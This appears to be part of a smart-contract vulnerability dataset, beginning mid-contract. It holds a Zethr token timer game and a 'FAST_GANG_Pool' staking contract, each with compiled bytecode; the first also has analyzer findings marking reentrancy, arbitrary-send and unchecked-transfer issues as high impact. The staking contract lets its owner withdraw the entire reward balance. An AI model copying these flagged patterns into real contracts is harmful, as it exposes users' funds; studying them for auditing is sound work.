uint value; } function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){ TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _stakeTokens(_tkn); return true; } // First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction. // Next - if the game has already ended (i.e. your bet was too late and the clock ran out) // the staked tokens from the previous game are transferred to the winner, the timers are // reset, and the game begins anew. // If you&#39;re simply resetting the clock, the timers are reset accordingly and you are designated // the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize // pool which everyone will be playing for. No second place prizes here! function _stakeTokens(TKN _tkn) private { require(gameActive); require(_zthToken(msg.sender)); require(validTokenBet[_tkn.value]); if (now > gameEnds) { _settleAndRestart(); } address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; uint rightNow = now; uint timePurchased = tokenToTimer[_tkn.value]; uint newGameEnd = rightNow.add(timePurchased); gameStarted = rightNow; gameEnds = newGameEnd; currentWinner = _customerAddress; contractBalance = contractBalance.add(_wagered); uint houseCut = _wagered.div(100); uint toAdd = _wagered.sub(houseCut); houseTake = houseTake.add(houseCut); tokensInPlay = tokensInPlay.add(toAdd); emit TokensWagered(_customerAddress, _wagered, newGameEnd); } // In the event of a game restart, subtract the tokens which were being played for from the balance, // transfer them to the winner (if the number of tokens is greater than zero: sly edge case). // If there is *somehow* any Ether in the contract - again, please don&#39;t - it is transferred to the // bankroll and reinvested into Zethr at the standard 33% rate. function _settleAndRestart() private { gameActive = false; uint payment = tokensInPlay/2; contractBalance = contractBalance.sub(payment); if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment); if (address(this).balance > 0){ ZTHBANKROLL.transfer(address(this).balance); }} emit GameEnded(currentWinner, payment, now); // Reset values. tokensInPlay = tokensInPlay.sub(payment); gameActive = true; } // How many tokens are in the contract overall? function balanceOf() public view returns (uint) { return contractBalance; } // Administrative function for adding a new token-time pair, should there be demand. function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner { validTokenBet[_tokenAmount] = true; tokenToTimer[_tokenAmount] = _timeBought; } // Administrative function to REMOVE a token-time pair, should one fall out of use. function removeTokenTime(uint _tokenAmount) public onlyOwner { validTokenBet[_tokenAmount] = false; tokenToTimer[_tokenAmount] = 232 days; } // Function to pull out the house cut to the bankroll if required (i.e. to seed other games). function retrieveHouseTake() public onlyOwnerOrBankroll { uint toTake = houseTake; houseTake = 0; contractBalance = contractBalance.sub(toTake); ZTHTKN.transfer(bankroll, toTake); emit HouseRetrievedTake(now, toTake); } // If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets. function pauseGame() public onlyOwner { gameActive = false; } // The converse of the above, resuming betting if a freeze had been put in place. function resumeGame() public onlyOwner { gameActive = true; } // Administrative function to change the owner of the contract. function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } // Administrative function to change the Zethr bankroll contract, should the need arise. function changeBankroll(address _newBankroll) public onlyOwner { bankroll = _newBankroll; } // Is the address that the token has come from actually ZTH? function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } // And here&#39;s the boring bit. /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100dc578063499831f2146100f15780635e123ce414610106578063722713f71461012d5780638b7afe2e14610142578063a378bba514610157578063a6f9dae11461016c578063a78bcf6e1461018d578063aabe2fe3146101ae578063afa9a86e146101df578063c0ee0b8a146101f4578063d6ccf7a714610271578063f020044f1461028c578063f41f4b10146102a1578063f79d6687146102b6575b005b3480156100e857600080fd5b506100da6102ce565b3480156100fd57600080fd5b506100da6102f4565b34801561011257600080fd5b5061011b610317565b60408051918252519081900360200190f35b34801561013957600080fd5b5061011b61031d565b34801561014e57600080fd5b5061011b610323565b34801561016357600080fd5b5061011b610329565b34801561017857600080fd5b506100da600160a060020a036004351661032f565b34801561019957600080fd5b506100da600160a060020a0360043516610375565b3480156101ba57600080fd5b506101c36103bb565b60408051600160a060020a039092168252519081900360200190f35b3480156101eb57600080fd5b5061011b6103ca565b34801561020057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261025d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103d09650505050505050565b604080519115158252519081900360200190f35b34801561027d57600080fd5b506100da600435602435610401565b34801561029857600080fd5b5061025d61043f565b3480156102ad57600080fd5b506100da610448565b3480156102c257600080fd5b506100da600435610574565b600054600160a060020a031633146102e557600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461030b57600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b60075481565b600054600160a060020a0316331461034657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461038c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b60006103da610920565b600160a060020a0385168152602081018490526103f6816105b4565b506001949350505050565b600054600160a060020a0316331461041857600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a031633148061046c5750600154600160a060020a031633145b151561047757600080fd5b50600280546000909155600454610494908263ffffffff61073f16565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b15801561050a57600080fd5b505af115801561051e573d6000803e3d6000fd5b505050506040513d602081101561053457600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a0316331461058b57600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff1615156105da57600080fd5b6105e333610751565b15156105ee57600080fd5b6020808901516000908152600b909152604090205460ff16151561061157600080fd5b6007544211156106235761062361076a565b87516020808a01516000818152600c90925260409091205491985096504295509350610655858563ffffffff6108f316565b600686905560078190556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a1617905560045490935061069790876108f3565b6004556106ab86606463ffffffff61090916565b91506106bd868363ffffffff61073f16565b6002549091506106d3908363ffffffff6108f316565b6002556003546106e9908263ffffffff6108f316565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282111561074b57fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff19169055600354600454600290910490610790908263ffffffff61073f16565b6004556003546000101561088257600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561081057600080fd5b505af1158015610824573d6000803e3d6000fd5b505050506040513d602081101561083a57600080fd5b505060003031111561088257600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610880573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a16003546108e0908263ffffffff61073f16565b600355506008805460ff19166001179055565b60008282018381101561090257fe5b9392505050565b600080828481151561091757fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a72305820d138bdf25bb7421601d05e7482325537d5937d826160f3fe15eea10f65b9fe0d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,132
0x4e84ec51aa19e1bb39a3c5e2cd61ca631c3833b8
/** *Submitted for verification at Etherscan.io on 2021-02-15 */ pragma solidity ^0.5.0; /* | Launch Date : January 29, 2021 | | Reward Duration : 26 Weeks | | Total Rewards : 80000 | | End Date : July 16, 2021 | */ library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; constructor () internal { rewardDistribution = owner(); } modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } } contract LPTokenWrapper is IRewardDistributionRecipient { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public FAST_ETH_FLP = IERC20(0xbE380cb425D1094DEf80Ae5Dd3838422EbA2C4E3); //--|FLP|-- uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); FAST_ETH_FLP.safeTransferFrom(_msgSender(), address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[_msgSender()] = _balances[_msgSender()].sub(amount); FAST_ETH_FLP.safeTransfer(_msgSender(), amount); } } //----------------------------------------------------------------------- // --------------------| REWARD AMOUNT: 80,000 |----------------------- //----------------------------------------------------------------------- contract FAST_GANG_Pool is LPTokenWrapper { IERC20 public fast = IERC20(0xC888A0Ab4831A29e6cA432BaBf52E353D23Db3c2); uint256 public constant DURATION = 26 weeks; //-----| Ending |-------- uint256 public starttime = 1611941400; //-----| Friday 5:30 PM UTC |----- uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public rewardInterval = 48 hours; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public lastTimeRewarded; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event Rewarded(address indexed from, address indexed to, uint256 value); modifier checkStart(){ require(block.timestamp >= starttime,"FAST_GANG_Pool not started yet."); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } //----------------------------| 48 hours |--------------------------- function setRewardInterval(uint256 _rewardInterval) external onlyOwner { rewardInterval = _rewardInterval; } function collectRewardAmount() public onlyOwner { fast.safeTransfer(_msgSender(), fast.balanceOf(address(this))); } function tokensInThisPool() public view returns (uint256){ return fast.balanceOf(address(this)); } function stake(uint256 amount) public updateReward(_msgSender()) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(_msgSender(), amount); } function withdraw(uint256 amount) public updateReward(_msgSender()) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(_msgSender(), amount); } // withdraw stake and get rewards at once function exit() external { withdraw(balanceOf(_msgSender())); getReward(); } function calculateFees(uint256 amount) internal pure returns (uint256) { return amount.mul(30).div(1000); } // reward can be withdrawn after 48 hour function getReward() public updateReward(_msgSender()) checkStart { uint256 reward = earned(_msgSender()); uint256 leftTimeReward = block.timestamp.sub(lastTimeRewarded[_msgSender()]); require(leftTimeReward >= rewardInterval, "Can claim reward once 48 hour is completed"); if (reward > 0) { rewards[_msgSender()] = 0; uint256 trueReward = reward; uint256 fee = calculateFees(trueReward); uint256 rewardMain = trueReward.sub(fee); fast.safeTransfer(_msgSender(), rewardMain); //------|Transfer reward to Staker|------------- fast.safeTransfer(rewardDistribution, fee); //-------| Transfer fee to owner |--------------- lastTimeRewarded[_msgSender()] = block.timestamp; emit Rewarded(address(this), msg.sender, rewardMain); emit Rewarded(address(this), rewardDistribution, fee); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } }
0x608060405234801561001057600080fd5b50600436106101d95760003560e01c80638da5cb5b11610104578063c8f33c91116100a2578063e3e8421311610071578063e3e84213146106b4578063e9fad8ee146106e2578063ebe2b12b146106ec578063f2fde38b1461070a576101d9565b8063c8f33c9114610602578063cd3daf9d14610620578063d018458e1461063e578063df136d6514610696576101d9565b8063a694fc3a116100de578063a694fc3a14610562578063aacc4d1414610590578063bec4de3f1461059a578063bed27807146105b8576101d9565b80638da5cb5b146104ac5780638f2720b0146104f65780638f32d59b14610540576101d9565b80633c6b16ab1161017c5780637b0a47ee1161014b5780637b0a47ee146103fa57806380faa57d146104185780638b876347146104365780638da588971461048e576101d9565b80633c6b16ab146103605780633d18b9121461038e57806370a0823114610398578063715018a6146103f0576101d9565b8063174ea0f7116101b8578063174ea0f7146102d857806318160ddd146102f65780631be05289146103145780632e1a7d4d14610332576101d9565b80628cc262146101de5780630700037d14610236578063101114cf1461028e575b600080fd5b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061074e565b6040518082815260200191505060405180910390f35b6102786004803603602081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610835565b6040518082815260200191505060405180910390f35b61029661084d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e0610873565b6040518082815260200191505060405180910390f35b6102fe610954565b6040518082815260200191505060405180910390f35b61031c61095e565b6040518082815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610965565b005b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050610ba0565b005b610396610ea7565b005b6103da600480360360208110156103ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611357565b6040518082815260200191505060405180910390f35b6103f86113a0565b005b6104026114d9565b6040518082815260200191505060405180910390f35b6104206114df565b6040518082815260200191505060405180910390f35b6104786004803603602081101561044c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f2565b6040518082815260200191505060405180910390f35b61049661150a565b6040518082815260200191505060405180910390f35b6104b4611510565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104fe611539565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61054861155f565b604051808215151515815260200191505060405180910390f35b61058e6004803603602081101561057857600080fd5b81019080803590602001909291905050506115bd565b005b6105986117f8565b005b6105a26119a1565b6040518082815260200191505060405180910390f35b6105c06119a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61060a6119cd565b6040518082815260200191505060405180910390f35b6106286119d3565b6040518082815260200191505060405180910390f35b6106806004803603602081101561065457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a6b565b6040518082815260200191505060405180910390f35b61069e611a83565b6040518082815260200191505060405180910390f35b6106e0600480360360208110156106ca57600080fd5b8101908080359060200190929190505050611a89565b005b6106ea611b0d565b005b6106f4611b2f565b6040518082815260200191505060405180910390f35b61074c6004803603602081101561072057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b35565b005b600061082e600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610820670de0b6b3a76400006108126107fb600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ed6119d3565b611bbb90919063ffffffff16565b61080488611357565b611c0590919063ffffffff16565b611c8b90919063ffffffff16565b611cd590919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561091457600080fd5b505afa158015610928573d6000803e3d6000fd5b505050506040513d602081101561093e57600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b62eff10081565b61096d611d5d565b6109756119d3565b600a819055506109836114df565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a50576109c68161074e565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600654421015610ac8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f464153545f47414e475f506f6f6c206e6f742073746172746564207965742e0081525060200191505060405180910390fd5b60008211610b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610b4782611d65565b610b4f611d5d565b73ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be1611d5d565b73ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127846021913960400191505060405180910390fd5b6000610c576119d3565b600a81905550610c656114df565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d3257610ca88161074e565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600654421115610e28576007544210610d6657610d5b62eff10083611c8b90919063ffffffff16565b600881905550610dc9565b6000610d7d42600754611bbb90919063ffffffff16565b90506000610d9660085483611c0590919063ffffffff16565b9050610dc062eff100610db28387611cd590919063ffffffff16565b611c8b90919063ffffffff16565b60088190555050505b42600981905550610de662eff10042611cd590919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a1610ea3565b610e3e62eff10083611c8b90919063ffffffff16565b600881905550600654600981905550610e6562eff100600654611cd590919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15b5050565b610eaf611d5d565b610eb76119d3565b600a81905550610ec56114df565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f9257610f088161074e565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60065442101561100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f464153545f47414e475f506f6f6c206e6f742073746172746564207965742e0081525060200191505060405180910390fd5b600061101c611017611d5d565b61074e565b90506000611079600e600061102f611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611bbb90919063ffffffff16565b9050600b548110156110d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612739602a913960400191505060405180910390fd5b6000821115611352576000600d60006110ed611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000829050600061113b82611e7a565b905060006111528284611bbb90919063ffffffff16565b90506111a861115f611d5d565b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eab9092919063ffffffff16565b611217600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eab9092919063ffffffff16565b42600e6000611224611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f6876a213a761d9b4f8d7ba3609528ef85da671684271f75fdacb41be8db29f45836040518082815260200191505060405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f6876a213a761d9b4f8d7ba3609528ef85da671684271f75fdacb41be8db29f45846040518082815260200191505060405180910390a35050505b505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113a861155f565b61141a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b60006114ed42600754611f7c565b905090565b600c6020528060005260406000206000915090505481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115a1611d5d565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6115c5611d5d565b6115cd6119d3565b600a819055506115db6114df565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146116a85761161e8161074e565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600654421015611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f464153545f47414e475f506f6f6c206e6f742073746172746564207965742e0081525060200191505060405180910390fd5b60008211611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61179f82611f95565b6117a7611d5d565b73ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b61180061155f565b611872576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61199f61187d611d5d565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561191c57600080fd5b505afa158015611930573d6000803e3d6000fd5b505050506040513d602081101561194657600080fd5b8101908080519060200190929190505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eab9092919063ffffffff16565b565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000806119de610954565b14156119ee57600a549050611a68565b611a65611a546119fc610954565b611a46670de0b6b3a7640000611a38600854611a2a600954611a1c6114df565b611bbb90